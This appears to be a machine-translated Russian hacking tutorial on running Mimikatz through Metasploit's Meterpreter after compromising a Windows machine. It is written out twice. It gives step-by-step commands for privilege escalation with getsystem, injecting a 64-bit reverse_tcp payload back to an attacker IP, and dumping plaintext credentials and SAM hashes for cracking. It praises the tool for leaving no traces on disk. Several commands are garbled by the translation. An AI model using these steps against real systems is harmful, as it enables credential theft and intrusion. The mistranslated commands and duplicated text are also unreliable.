Metasploit — настолько мощный инструмент, что я могу лишь поверхностно описать его возможности. Благодаря многолетнему развитию, Metasploit теперь можно использовать практически для любых целей: от разведки до пост-эксплуатации и заметания следов. Учитывая его универсальность, каждому начинающему хакеру следует хотя бы поверхностно ознакомиться с Metasploit.
Время от времени появляются модули пост-эксплуатации, настолько мощные, что каждый пользователь Metasploit должен знать о них и научиться их использовать. Mimikatz — один из таких модулей. Он был создан Бенджамином Дельпи, также известным как gentilkiwi, для самостоятельного изучения языка C и изучения безопасности Windows. По сути, он способен извлекать из памяти различные наборы учётных данных Windows. Он сыграл ключевую роль в иранском взломе Sands Corporation в 2014 году.
Изначально Mimikatz разрабатывался как автономный модуль, который можно загрузить на целевую платформу или запустить локально, но недавно Rapid7 портировал его для Metasploit и сделал доступным в виде скрипта Meterpreter. Преимущество этого заключается в том, что он полностью работает в памяти и не оставляет следов на жёстком диске, которые могли бы быть обнаружены.
Ещё один важный момент, прежде чем мы начнём: существуют как 32-, так и 64-битные версии Mimikatz. Зачастую Mimikatz загружает 32-битную версию, если мы использовали 32-битный процесс для взлома системы. В этом случае Mimikatz практически не будет работать. Чтобы избежать этой потенциальной проблемы, используйте команду «migrate» для миграции Meterpeter в 64-битный процесс перед загрузкой Mimkatz. Таким образом, он загрузит 64-битную версию, и вы сможете насладиться всеми её потрясающими возможностями.
Шаг 1: используйте цель и получите полезную нагрузку Meterpreter
Mimikatz — это модуль, работающий после эксплуатации, то есть его можно использовать только после того, как уязвимость цели будет эксплуатирована. Поэтому я начну этот модуль, предполагая, что вы успешно эксплуатировали цель и установили полезную нагрузку Meterpreter на целевой системе. Кроме того, для работы Mimikatz вам потребуются права системного администратора на целевой системе. Если вы эксплуатировали цель как обычный пользователь, вы можете использовать команду Meterpreter getsystem для повышения привилегий до уровня системного администратора.
meterpreter > getsystem
meterpreter > загрузить kiwi
Обратите внимание на предупреждение о том, что мы загрузили x86 Kiwi на архитектуру x64. Для использования всех возможностей Kiwi на этой целевой системе нам необходимо загрузить 64-битную полезную нагрузку. Давайте загрузим 64-битный meterpreter на эту 64-битную архитектуру Windows 7.
Во-первых, нам нужно перевести meterpreter в фоновый режим, чтобы мы снова могли получить доступ к командной строке msf5.
meterpreter > фон
Далее нам нужно загрузить модуль payload_inject.
msf5 > использовать windows/local/payload_inject
Затем задайте полезную нагрузку, которую мы хотим внедрить.
msf5 > установить окно полезной нагрузки/x64/meterpreter/reverse_tcp
Установите локальный хост.
msf > установить LHOST 192.168.1.103
И подключите его к фоновому сеансу meterpreter.
msf5 > установить СЕАНС 11
Прежде чем запустить модуль ввода полезной нагрузки, давайте проверим, все ли опции установлены.
msf5 > показать параметры
Если все настроено правильно, то теперь можно «эксплуатировать».
msf5 > эксплойт
Теперь, имея 64-битную полезную нагрузку, мы можем эффективно запускать kiwi на 64-битной системе.
Далее попробуем открыть экран справки на kiwi.
meterpreter> помощь kiwi
Самая первая команда, которую мы видим, — id creds_all . Она извлекает все учётные данные из оперативной памяти и выводит их на экран.
Как вы можете видеть выше, модуль kiwi системы mimikatz отображает все учетные данные этой системы открытым текстом!
Запуск mimikatz в 32-битной системе
Чтобы запустить mimikatz из 32-битной полезной нагрузки, мы можем ввести:
meterpreter > load mimkatz
Далее, давайте получим экран справки.
meterpreter > help mimikatz
Как вы можете видеть, mimikatz имеет ряд собственных команд и специальную команду mimikatz_command для запуска пользовательских команд.
Прежде чем двигаться дальше, давайте проверим версию Mimikatz.
meterpreter > mimikatz_command -f версия
Metasploit перенес только версию 1.0, хотя Mimikatz имеет версию 2.0 (следите за моим будущим руководством по использованию автономной версии 2.0 Mimikatz).
meterpreter > kerberos
Мы можем получить учетные данные Windows MSV (пакет проверки подлинности паролей Windows), просто введя:
meterpreter > msv
Шаг 3: Mimikatz__Command
Mimikatz также позволяет создавать собственные команды. Синтаксис команд следующий. Обратите внимание на двойное двоеточие
между типом команды и её действием.
mimikatz_command -f <тип команды>::<действие команды>
Если мы хотим извлечь хеши паролей из файла SAM, мы можем ввести:
meterpreter > mimikatz_command -f samdump::hashes
Конечно, имея эти хеши, мы можем затем взломать их с помощью любого из множества инструментов взлома паролей, таких как Cain and Abel, Hashcat, John the Ripper и других.
Если мы хотим получить список служб, запущенных в целевой системе, мы можем использовать тип команды service в сочетании со списком действий команды.
meterpreter > mimikatz_command -f service::list
Шаг 4: Криптовалюта
В Mimikatz есть специальный тип команд для работы с криптографией, и, как и следовало ожидать, он называется crypto. С помощью этой команды мы можем получить список поставщиков криптографии в целевой системе.
meterpreter > mimikatz_command -f crypto::listProviders
Если мы хотим узнать, где находятся различные хранилища криптографии, мы можем ввести:
meterpreter > mimikatz_command -f crypto::listStores
Mimikatz — ещё один мощный инструмент для пентестера/хакера. Прежде чем использовать Mimkatz, убедитесь, что вы достаточно хорошо разбираетесь в Metasploit.
Время от времени появляются модули пост-эксплуатации, настолько мощные, что каждый пользователь Metasploit должен знать о них и научиться их использовать. Mimikatz — один из таких модулей. Он был создан Бенджамином Дельпи, также известным как gentilkiwi, для самостоятельного изучения языка C и изучения безопасности Windows. По сути, он способен извлекать из памяти различные наборы учётных данных Windows. Он сыграл ключевую роль в иранском взломе Sands Corporation в 2014 году.
Изначально Mimikatz разрабатывался как автономный модуль, который можно загрузить на целевую платформу или запустить локально, но недавно Rapid7 портировал его для Metasploit и сделал доступным в виде скрипта Meterpreter. Преимущество этого заключается в том, что он полностью работает в памяти и не оставляет следов на жёстком диске, которые могли бы быть обнаружены.
Ещё один важный момент, прежде чем мы начнём: существуют как 32-, так и 64-битные версии Mimikatz. Зачастую Mimikatz загружает 32-битную версию, если мы использовали 32-битный процесс для взлома системы. В этом случае Mimikatz практически не будет работать. Чтобы избежать этой потенциальной проблемы, используйте команду «migrate» для миграции Meterpeter в 64-битный процесс перед загрузкой Mimkatz. Таким образом, он загрузит 64-битную версию, и вы сможете насладиться всеми её потрясающими возможностями.
Шаг 1: используйте цель и получите полезную нагрузку Meterpreter
Mimikatz — это модуль, работающий после эксплуатации, то есть его можно использовать только после того, как уязвимость цели будет эксплуатирована. Поэтому я начну этот модуль, предполагая, что вы успешно эксплуатировали цель и установили полезную нагрузку Meterpreter на целевой системе. Кроме того, для работы Mimikatz вам потребуются права системного администратора на целевой системе. Если вы эксплуатировали цель как обычный пользователь, вы можете использовать команду Meterpreter getsystem для повышения привилегий до уровня системного администратора.
meterpreter > getsystem
meterpreter > загрузить kiwi
Обратите внимание на предупреждение о том, что мы загрузили x86 Kiwi на архитектуру x64. Для использования всех возможностей Kiwi на этой целевой системе нам необходимо загрузить 64-битную полезную нагрузку. Давайте загрузим 64-битный meterpreter на эту 64-битную архитектуру Windows 7.
Во-первых, нам нужно перевести meterpreter в фоновый режим, чтобы мы снова могли получить доступ к командной строке msf5.
meterpreter > фон
Далее нам нужно загрузить модуль payload_inject.
msf5 > использовать windows/local/payload_inject
Затем задайте полезную нагрузку, которую мы хотим внедрить.
msf5 > установить окно полезной нагрузки/x64/meterpreter/reverse_tcp
Установите локальный хост.
msf > установить LHOST 192.168.1.103
И подключите его к фоновому сеансу meterpreter.
msf5 > установить СЕАНС 11
Прежде чем запустить модуль ввода полезной нагрузки, давайте проверим, все ли опции установлены.
msf5 > показать параметры
Если все настроено правильно, то теперь можно «эксплуатировать».
msf5 > эксплойт
Теперь, имея 64-битную полезную нагрузку, мы можем эффективно запускать kiwi на 64-битной системе.
Далее попробуем открыть экран справки на kiwi.
meterpreter> помощь kiwi
Самая первая команда, которую мы видим, — id creds_all . Она извлекает все учётные данные из оперативной памяти и выводит их на экран.
Как вы можете видеть выше, модуль kiwi системы mimikatz отображает все учетные данные этой системы открытым текстом!
Запуск mimikatz в 32-битной системе
Чтобы запустить mimikatz из 32-битной полезной нагрузки, мы можем ввести:
meterpreter > load mimkatz
Далее, давайте получим экран справки.
meterpreter > help mimikatz
Как вы можете видеть, mimikatz имеет ряд собственных команд и специальную команду mimikatz_command для запуска пользовательских команд.
Прежде чем двигаться дальше, давайте проверим версию Mimikatz.
meterpreter > mimikatz_command -f версия
Metasploit перенес только версию 1.0, хотя Mimikatz имеет версию 2.0 (следите за моим будущим руководством по использованию автономной версии 2.0 Mimikatz).
Шаг 2: Собственные команды
Давайте начнём с того, что посмотрим, что можно сделать с системой с помощью встроенных команд. Если мы хотим получить учётные данные Kerberos, нам нужно просто ввести:meterpreter > kerberos
Мы можем получить учетные данные Windows MSV (пакет проверки подлинности паролей Windows), просто введя:
meterpreter > msv
Шаг 3: Mimikatz__Command
Mimikatz также позволяет создавать собственные команды. Синтаксис команд следующий. Обратите внимание на двойное двоеточие
mimikatz_command -f <тип команды>::<действие команды>
Если мы хотим извлечь хеши паролей из файла SAM, мы можем ввести:
meterpreter > mimikatz_command -f samdump::hashes
Конечно, имея эти хеши, мы можем затем взломать их с помощью любого из множества инструментов взлома паролей, таких как Cain and Abel, Hashcat, John the Ripper и других.
Если мы хотим получить список служб, запущенных в целевой системе, мы можем использовать тип команды service в сочетании со списком действий команды.
meterpreter > mimikatz_command -f service::list
Шаг 4: Криптовалюта
В Mimikatz есть специальный тип команд для работы с криптографией, и, как и следовало ожидать, он называется crypto. С помощью этой команды мы можем получить список поставщиков криптографии в целевой системе.
meterpreter > mimikatz_command -f crypto::listProviders
Если мы хотим узнать, где находятся различные хранилища криптографии, мы можем ввести:
meterpreter > mimikatz_command -f crypto::listStores
Mimikatz — ещё один мощный инструмент для пентестера/хакера. Прежде чем использовать Mimkatz, убедитесь, что вы достаточно хорошо разбираетесь в Metasploit.